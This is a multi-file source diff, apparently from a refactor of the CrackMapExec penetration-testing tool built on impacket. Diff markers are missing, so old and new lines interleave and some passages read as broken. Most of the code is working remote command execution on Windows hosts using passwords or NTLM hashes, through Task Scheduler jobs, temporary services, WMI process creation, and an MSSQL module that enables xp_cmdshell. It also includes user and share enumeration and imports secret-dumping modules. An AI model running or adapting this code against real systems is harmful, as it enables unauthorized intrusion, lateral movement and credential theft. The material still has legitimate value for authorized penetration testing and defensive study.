self.__domain = connection.domain
|
||||
self.__hash = connection.hash
|
||||
self.__protocol = protocol
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__aesKey = None
|
||||
self.__doKerberos = False
|
||||
self.__logger = logger
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
if password is None:
|
||||
|
||||
if self.__hash is not None:
|
||||
self.__lmhash, self.__nthash = self.__hash.split(':')
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ''
|
||||
|
||||
def dump(self, addr):
|
||||
def enum(self):
|
||||
"""Dumps the list of users and shares registered present at
|
||||
addr. Addr is a valid host name or IP address.
|
||||
"""
|
||||
|
||||
logging.info('Retrieving endpoint list from %s' % addr)
|
||||
logging.info('Retrieving endpoint list from %s' % self.__addr)
|
||||
|
||||
# Try all requested protocols until one works.
|
||||
entries = []
|
||||
for protocol in self.__protocols:
|
||||
protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
|
||||
|
||||
protodef = SAMRDump.KNOWN_PROTOCOLS['{}/SMB'.format(self.__protocol)]
|
||||
port = protodef[1]
|
||||
|
||||
logging.info("Trying protocol %s..." % protocol)
|
||||
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
|
||||
logging.info("Trying protocol %s..." % self.__protocol)
|
||||
rpctransport = transport.SMBTransport(self.__addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
|
||||
|
||||
try:
|
||||
entries = self.__fetchList(rpctransport)
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
else:
|
||||
# Got a response. No need for further iterations.
|
||||
break
|
||||
|
||||
# Display results.
|
||||
|
||||
|
@ -85,11 +76,11 @@ class SAMRDump:
|
|||
for entry in entries:
|
||||
(username, uid, user) = entry
|
||||
base = "%s (%d)" % (username, uid)
|
||||
self.__logger.results(u'{}/FullName: {}'.format(base, user['FullName']))
|
||||
self.__logger.results(u'{}/UserComment: {}' .format(base, user['UserComment']))
|
||||
self.__logger.results(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId']))
|
||||
self.__logger.results(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount']))
|
||||
self.__logger.results(u'{}/LogonCount: {}'.format(base, user['LogonCount']))
|
||||
self.__logger.highlight(u'{}/FullName: {}'.format(base, user['FullName']))
|
||||
self.__logger.highlight(u'{}/UserComment: {}' .format(base, user['UserComment']))
|
||||
self.__logger.highlight(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId']))
|
||||
self.__logger.highlight(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount']))
|
||||
self.__logger.highlight(u'{}/LogonCount: {}'.format(base, user['LogonCount']))
|
||||
|
||||
if entries:
|
||||
num = len(entries)
|
||||
|
@ -132,7 +123,7 @@ class SAMRDump:
|
|||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
|
||||
except DCERPCException, e:
|
||||
except DCERPCException as e:
|
||||
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
||||
raise
|
||||
resp = e.get_packet()
|
|
@ -0,0 +1,103 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2003-2015 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: [MS-WMI] example. It allows to issue WQL queries and
|
||||
# get description of the objects.
|
||||
#
|
||||
# e.g.: select name from win32_account
|
||||
# e.g.: describe win32_process
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCOM
|
||||
#
|
||||
import logging
|
||||
import traceback
|
||||
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
|
||||
class WMIQUERY:
|
||||
|
||||
def __init__(self, logger, connection, wmi_namespace):
|
||||
self.__logger = logger
|
||||
self.__addr = connection.host
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__hash = connection.hash
|
||||
self.__domain = connection.domain
|
||||
self.__namespace = wmi_namespace
|
||||
self.__doKerberos = False
|
||||
self.__aesKey = None
|
||||
self.__oxidResolver = True
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
|
||||
if self.__hash is not None:
|
||||
self.__lmhash, self.__nthash = self.__hash.split(':')
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ''
|
||||
|
||||
self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain,
|
||||
self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos)
|
||||
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
self.__iWbemServices= iWbemLevel1Login.NTLMLogin(self.__namespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
def query(self, query):
|
||||
|
||||
query = query.strip('\n')
|
||||
|
||||
if query[-1:] == ';':
|
||||
query = query[:-1]
|
||||
|
||||
try:
|
||||
iEnumWbemClassObject = self.__iWbemServices.ExecQuery(query.strip('\n'))
|
||||
self.__logger.success('Executed specified WMI query')
|
||||
self.printReply(iEnumWbemClassObject)
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
|
||||
self.__iWbemServices.RemRelease()
|
||||
self.__dcom.disconnect()
|
||||
|
||||
def describe(self, sClass):
|
||||
sClass = sClass.strip('\n')
|
||||
if sClass[-1:] == ';':
|
||||
sClass = sClass[:-1]
|
||||
try:
|
||||
iObject, _ = self.iWbemServices.GetObject(sClass)
|
||||
iObject.printInformation()
|
||||
iObject.RemRelease()
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
|
||||
def printReply(self, iEnum):
|
||||
printHeader = True
|
||||
while True:
|
||||
try:
|
||||
pEnum = iEnum.Next(0xffffffff,1)[0]
|
||||
record = pEnum.getProperties()
|
||||
line = []
|
||||
for rec in record:
|
||||
line.append('{}: {}'.format(rec, record[rec]['value']))
|
||||
self.__logger.highlight(' | '.join(line))
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
if str(e).find('S_FALSE') < 0:
|
||||
raise
|
||||
else:
|
||||
break
|
||||
iEnum.RemRelease()
|
|
@ -1,80 +1,57 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2003-2015 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# ATSVC example for some functions implemented, creates, enums, runs, delete jobs
|
||||
# This example executes a command on the target machine through the Task Scheduler
|
||||
# service. Returns the output of such command
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCE/RPC for TSCH
|
||||
import traceback
|
||||
|
||||
import string
|
||||
import sys
|
||||
import argparse
|
||||
import random
|
||||
import logging
|
||||
|
||||
from gevent import sleep
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from StringIO import StringIO
|
||||
|
||||
from core.helpers import gen_random_string
|
||||
from gevent import sleep
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, logger, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
|
||||
self.__logger = logger
|
||||
def __init__(self, target, username, password, domain, hashes=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__command = command
|
||||
self.__noOutput = noOutput
|
||||
self.__outputBuffer = ''
|
||||
self.__retOutput = False
|
||||
#self.__aesKey = aesKey
|
||||
#self.__doKerberos = doKerberos
|
||||
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
if password is None:
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ''
|
||||
|
||||
def play(self, addr):
|
||||
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.__target
|
||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
if hasattr(self.__rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||
self.__aesKey)
|
||||
rpctransport.set_kerberos(self.__doKerberos)
|
||||
self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
#rpctransport.set_kerberos(self.__doKerberos)
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
try:
|
||||
self.doStuff(rpctransport)
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
logging.error(e)
|
||||
self.doStuff(command)
|
||||
return self.__outputBuffer
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
|
||||
def doStuff(self, command):
|
||||
|
||||
def doStuff(self, rpctransport):
|
||||
def output_callback(data):
|
||||
buf = StringIO(data.strip()).readlines()
|
||||
for line in buf:
|
||||
self.__logger.results(line.strip())
|
||||
self.__outputBuffer = data
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tmpName = ''.join([random.choice(string.letters) for _ in range(8)])
|
||||
tmpFileName = tmpName + '.tmp'
|
||||
tmpName = gen_random_string(8)
|
||||
|
||||
xml = """<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
|
@ -115,69 +92,72 @@ class TSCH_EXEC:
|
|||
<Exec>
|
||||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
if self.__noOutput is False:
|
||||
if self.__retOutput:
|
||||
tmpFileName = tmpName + '.tmp'
|
||||
xml+= """ <Arguments>/C {} > %windir%\\Temp\\{} 2>&1</Arguments>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
""".format(self.__command, tmpFileName)
|
||||
""".format(command, tmpFileName)
|
||||
|
||||
else:
|
||||
elif self.__retOutput is False:
|
||||
xml+= """ <Arguments>/C {}</Arguments>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
""".format(self.__command)
|
||||
""".format(command)
|
||||
|
||||
logging.info("Task XML: {}".format(xml))
|
||||
#logging.info("Task XML: {}".format(xml))
|
||||
taskCreated = False
|
||||
try:
|
||||
logging.info('Creating task \\%s' % tmpName)
|
||||
#logging.info('Creating task \\%s' % tmpName)
|
||||
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
taskCreated = True
|
||||
|
||||
logging.info('Running task \\%s' % tmpName)
|
||||
#logging.info('Running task \\%s' % tmpName)
|
||||
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
|
||||
#logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
|
||||
if resp['pLastRuntime']['wYear'] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
logging.info('Deleting task \\%s' % tmpName)
|
||||
#logging.info('Deleting task \\%s' % tmpName)
|
||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
taskCreated = False
|
||||
except tsch.DCERPCSessionError, e:
|
||||
logging.error(e)
|
||||
traceback.print_exc()
|
||||
e.get_packet().dump()
|
||||
|
||||
finally:
|
||||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
|
||||
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
|
||||
self.__logger.success('Executed command via ATEXEC')
|
||||
peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
|
||||
#self.__logger.success('Executed command via ATEXEC')
|
||||
|
||||
if self.__noOutput is False:
|
||||
smbConnection = rpctransport.get_smb_connection()
|
||||
if self.__retOutput:
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
while True:
|
||||
try:
|
||||
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
#logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
|
||||
break
|
||||
except Exception, e:
|
||||
except Exception as e:
|
||||
if str(e).find('SHARING') > 0:
|
||||
sleep(3)
|
||||
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||
sleep(3)
|
||||
else:
|
||||
raise
|
||||
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
||||
else:
|
||||
logging.info('Output retrieval disabled')
|
||||
pass
|
||||
#logging.info('Output retrieval disabled')
|
||||
|
||||
dce.disconnect()
|
|
@ -0,0 +1,29 @@
|
|||
import traceback
|
||||
|
||||
class MSSQLEXEC:
|
||||
|
||||
def __init__(self, connection):
|
||||
self.mssql_conn = connection
|
||||
self.outputBuffer = ''
|
||||
|
||||
def execute(self, command, output=False):
|
||||
try:
|
||||
self.enable_xp_cmdshell()
|
||||
self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command))
|
||||
|
||||
if output:
|
||||
self.mssql_conn.printReplies()
|
||||
self.mssql_conn.colMeta[0]['TypeData'] = 80*2
|
||||
self.outputBuffer = self.mssql_conn.printRows()
|
||||
|
||||
self.disable_xp_cmdshell()
|
||||
return self.outputBuffer
|
||||
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
|
||||
def disable_xp_cmdshell(self):
|
||||
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
|
|
@ -0,0 +1,130 @@
|
|||
import traceback
|
||||
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.smbconnection import *
|
||||
from core.helpers import gen_random_string
|
||||
|
||||
class SMBEXEC:
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
|
||||
def __init__(self, host, protocol, username = '', password = '', domain = '', hashes = None, share = None):
|
||||
self.__host = host
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__serviceName = gen_random_string()
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__share = share
|
||||
self.__output = '\\Windows\\Temp\\' + gen_random_string()
|
||||
self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'
|
||||
self.__outputBuffer = ''
|
||||
self.__shell = '%COMSPEC% /Q /c '
|
||||
self.__retOutput = False
|
||||
self.__rpctransport = None
|
||||
self.__scmr = None
|
||||
self.__conn = None
|
||||
#self.__mode = mode
|
||||
#self.__aesKey = aesKey
|
||||
#self.__doKerberos = doKerberos
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ''
|
||||
|
||||
protodef = SMBEXEC.KNOWN_PROTOCOLS['{}/SMB'.format(protocol)]
|
||||
port = protodef[1]
|
||||
|
||||
stringbinding = protodef[0] % self.__host
|
||||
|
||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
self.__rpctransport.set_dport(port)
|
||||
|
||||
if hasattr(self.__rpctransport,'preferred_dialect'):
|
||||
self.__rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
if hasattr(self.__rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
#rpctransport.set_kerberos(self.__doKerberos)
|
||||
|
||||
self.__scmr = self.__rpctransport.get_dce_rpc()
|
||||
try:
|
||||
self.__scmr.connect()
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
|
||||
s = self.__rpctransport.get_smb_connection()
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
s.setTimeout(100000)
|
||||
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
self.transferClient = self.__rpctransport.get_smb_connection()
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
try:
|
||||
if self.__retOutput:
|
||||
self.cd('')
|
||||
|
||||
self.execute_remote(command)
|
||||
self.finish()
|
||||
return self.__outputBuffer
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
|
||||
def cd(self, s):
|
||||
self.execute_remote('cd ' )
|
||||
|
||||
def get_output(self):
|
||||
|
||||
if self.__retOutput is False:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
|
||||
self.transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
if self.__retOutput:
|
||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
else:
|
||||
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
|
||||
command += ' & ' + 'del ' + self.__batchFile
|
||||
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||
service = resp['lpServiceHandle']
|
||||
|
||||
try:
|
||||
scmr.hRStartServiceW(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
self.get_output()
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
try:
|
||||
self.__scmr = self.__rpctransport.get_dce_rpc()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
|
||||
service = resp['lpServiceHandle']
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
except:
|
||||
pass
|
|
@ -0,0 +1,97 @@
|
|||
import ntpath
|
||||
import traceback
|
||||
|
||||
from gevent import sleep
|
||||
from core.helpers import gen_random_string
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__share = share
|
||||
self.__smbconnection = smbconnection
|
||||
self.__output = '\\' + gen_random_string(6)
|
||||
self.__outputBuffer = ''
|
||||
self.__shell = 'cmd.exe /Q /c '
|
||||
self.__pwd = 'C:\\'
|
||||
self.__aesKey = None
|
||||
self.__doKerberos = False
|
||||
self.__retOutput = True
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ''
|
||||
|
||||
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
self.__win32Process,_ = iWbemServices.GetObject('Win32_Process')
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
try:
|
||||
if self.__retOutput:
|
||||
self.__smbconnection.setTimeout(100000)
|
||||
self.cd('\\')
|
||||
|
||||
self.execute_remote(command)
|
||||
self.__dcom.disconnect()
|
||||
return self.__outputBuffer
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
self.__dcom.disconnect()
|
||||
|
||||
|
||||
def cd(self, s):
|
||||
self.execute_remote('cd ' + s)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
print self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = self.__pwd + '>'
|
||||
self.__outputBuffer = ''
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + data
|
||||
if self.__retOutput:
|
||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output()
|
||||
|
||||
def get_output(self):
|
||||
|
||||
if self.__retOutput is False:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__smbconnection.getFile(self.__share, self.__output, output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
||||
# Output not finished, let's wait
|
||||
sleep(1)
|
||||
pass
|
||||
else:
|
||||
#print str(e)
|
||||
pass
|
||||
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
|
@ -1,57 +0,0 @@
|
|||
from scripts.wmiexec import WMIEXEC
|
||||
from scripts.smbexec import SMBEXEC
|
||||
from scripts.atexec import TSCH_EXEC
|
||||
from scripts.mssqlclient import SQLSHELL
|
||||
|
||||
import settings
|
||||
|
||||
class EXECUTOR:
|
||||
|
||||
"""Yes, I know this sounds like the pokemon... deal with it"""
|
||||
|
||||
def __init__(self, logger, command, host, domain, noOutput, connection, method, user, passwd, ntlm_hash):
|
||||
|
||||
if settings.args.mssql and str(connection).find('MSSQL') != -1:
|
||||
sql_shell = SQLSHELL(connection, logger)
|
||||
sql_shell.do_xp_cmdshell(command, noOutput)
|
||||
|
||||
else:
|
||||
if method == 'wmi':
|
||||
wmi_exec = WMIEXEC(logger,
|
||||
command,
|
||||
user,
|
||||
passwd,
|
||||
domain,
|
||||
ntlm_hash,
|
||||
settings.args.aesKey,
|
||||
settings.args.share,
|
||||
noOutput,
|
||||
settings.args.kerb)
|
||||
wmi_exec.run(host, connection)
|
||||
|
||||
elif method == 'smbexec':
|
||||
smb_exec = SMBEXEC(logger,
|
||||
command,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
user,
|
||||
passwd,
|
||||
domain,
|
||||
ntlm_hash,
|
||||
settings.args.aesKey,
|
||||
settings.args.kerb,
|
||||
'SHARE',
|
||||
settings.args.share,
|
||||
noOutput)
|
||||
smb_exec.run(host)
|
||||
|
||||
elif method == 'atexec':
|
||||
atsvc_exec = TSCH_EXEC(logger,
|
||||
command,
|
||||
user,
|
||||
passwd,
|
||||
domain,
|
||||
ntlm_hash,
|
||||
settings.args.aesKey,
|
||||
settings.args.kerb,
|
||||
noOutput)
|
||||
atsvc_exec.play(host)
|
|
@ -1,385 +0,0 @@
|
|||
from logger import *
|
||||
from powershell import *
|
||||
from impacket import tds
|
||||
from scripts.mssqlclient import *
|
||||
from impacket.nmb import NetBIOSError
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from executor import EXECUTOR
|
||||
from sharedump import SHAREDUMP
|
||||
from scripts.wmiquery import WMIQUERY
|
||||
from scripts.samrdump import SAMRDump
|
||||
from scripts.lookupsid import LSALookupSid
|
||||
from scripts.secretsdump import DumpSecrets
|
||||
from scripts.services import SVCCTL
|
||||
from passpoldump import PassPolDump
|
||||
from rpcquery import RPCQUERY
|
||||
from smbspider import SMBSPIDER
|
||||
from uacdump import UACdump
|
||||
from wdigestenable import WdisgestEnable
|
||||
from smartlogin import smart_login
|
||||
from remotefilesystem import RemoteFileSystem
|
||||
from datetime import datetime
|
||||
import os
|
||||
import socket
|
||||
import settings
|
||||
import traceback
|
||||
import socket
|
||||
import logging
|
||||
|
||||
def main_greenlet(host):
|
||||
|
||||
try:
|
||||
smb = SMBConnection(host, host, None, settings.args.port)
|
||||
#Get our IP from the socket
|
||||
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
|
||||
try:
|
||||
smb.login('' , '')
|
||||
except SessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in e.message:
|
||||
pass
|
||||
|
||||
domain = settings.args.domain
|
||||
s_name = smb.getServerName()
|
||||
if not domain:
|
||||
domain = smb.getServerDomain()
|
||||
if not domain:
|
||||
domain = s_name
|
||||
|
||||
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
|
||||
'hostname': s_name,
|
||||
'port': settings.args.port,
|
||||
'service': 'SMB'})
|
||||
|
||||
cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))
|
||||
|
||||
try:
|
||||
'''
|
||||
DC's seem to want us to logoff first
|
||||
Windows workstations sometimes reset the connection, so we handle both cases here
|
||||
(go home Windows, you're drunk)
|
||||
'''
|
||||
smb.logoff()
|
||||
except NetBIOSError:
|
||||
pass
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
if settings.args.mssql:
|
||||
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
|
||||
'hostname': s_name,
|
||||
'port': settings.args.mssql_port,
|
||||
'service': 'MSSQL'})
|
||||
|
||||
#try:
|
||||
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
|
||||
ms_sql.connect()
|
||||
|
||||
instances = ms_sql.getInstances(5)
|
||||
cme_logger.info("Found {} MSSQL instance(s)".format(len(instances)))
|
||||
for i, instance in enumerate(instances):
|
||||
cme_logger.results("Instance {}".format(i))
|
||||
for key in instance.keys():
|
||||
cme_logger.results(key + ":" + instance[key])
|
||||
|
||||
try:
|
||||
ms_sql.disconnect()
|
||||
except:
|
||||
pass
|
||||
|
||||
#except socket.error as e:
|
||||
# if settings.args.verbose: mssql_cme_logger.error(str(e))
|
||||
|
||||
if (settings.args.user and (settings.args.passwd or settings.args.hash)) or settings.args.combo_file:
|
||||
|
||||
ms_sql = None
|
||||
smb = None
|
||||
|
||||
if settings.args.mssql:
|
||||
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
|
||||
ms_sql.connect()
|
||||
ms_sql, user, passwd, ntlm_hash, domain = smart_login(host, domain, ms_sql, cme_logger)
|
||||
sql_shell = SQLSHELL(ms_sql, cme_logger)
|
||||
else:
|
||||
smb = SMBConnection(host, host, None, settings.args.port)
|
||||
smb, user, passwd, ntlm_hash, domain = smart_login(host, domain, smb, cme_logger)
|
||||
|
||||
if ms_sql:
|
||||
connection = ms_sql
|
||||
if settings.args.mssql_query:
|
||||
sql_shell.onecmd(settings.args.mssql_query)
|
||||
|
||||
if smb:
|
||||
connection = smb
|
